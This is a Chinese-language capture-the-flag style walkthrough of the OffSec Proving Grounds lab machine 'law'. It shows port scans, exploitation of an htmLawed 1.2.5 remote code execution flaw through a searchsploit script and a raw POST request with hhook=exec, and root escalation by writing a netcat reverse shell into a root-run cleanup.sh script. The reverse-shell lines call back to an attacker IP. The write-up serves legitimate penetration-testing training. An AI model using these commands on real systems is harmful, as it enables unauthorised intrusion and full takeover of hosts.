本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
law
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
HTMLAWED 远程代码执行 –> www-data 用户权限 –> 用户旗帜
权限提升:
pspy 进程监控 –> /var/www/cleanup.sh 写入反弹 shell –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5
| sudo nmap -p- 192.168.212.190 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12
| sudo nmap -p22,80 -sCV 192.168.212.190
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA) | 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA) |_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: htmLawed (1.2.5) test |_http-server-header: Apache/2.4.56 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 HTMLAWED 远程代码执行漏洞
访问系统 HTTP 80 端口,通过页面得知系统为:HTMLAWED 1.2.5。

searchsploit 检索发现系统存在远程代码执行漏洞。
复制漏洞利用脚本至当前目录,kali 监听 1234 端口,执行反弹 shell,获取到系统 www-data 用户 shell。
1 2 3
| searchsploit -m php/webapps/52023.sh nc -lvnp 1234 ./52023.sh -u http://192.168.212.190/ -c 'nc 192.168.45.241 1234 -e /bin/bash'
|


注意: 如果通过 burp 执行 payload,漏洞默认在 htmLawedTest.php 中,而靶机把该文件命令为了 index.php,当我们使用默认的页面执行 payload 会直接报错 404,这里也是卡了很久,尝试了各种目录枚举,最终是通过 index.php 执行 payload,当然,还要注意请求头中 cookie 需要指定: sid=foo。



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /index.php HTTP/1.1
Host: 192.168.212.190
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Cookie: sid=foo
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
sid=foo&hhook=exec&text=id
|
升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Pspy 监控进程,修改定时任务文件提权至 root
使用 pspy 监控系统进程,发现系统会以 root 权限定时执行/var/www/cleanup.sh 脚本,而该脚本 www-data 用户可进行修改,将反弹 shell 写入/var/www/cleanup.sh 脚本,系统再次执行脚本时,成功获取到系统 root 用户权限。


1 2
| echo "busybox nc 192.168.45.241 1234 -e /bin/bash" > cleanup.sh nc -lvnp 1234
|


3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨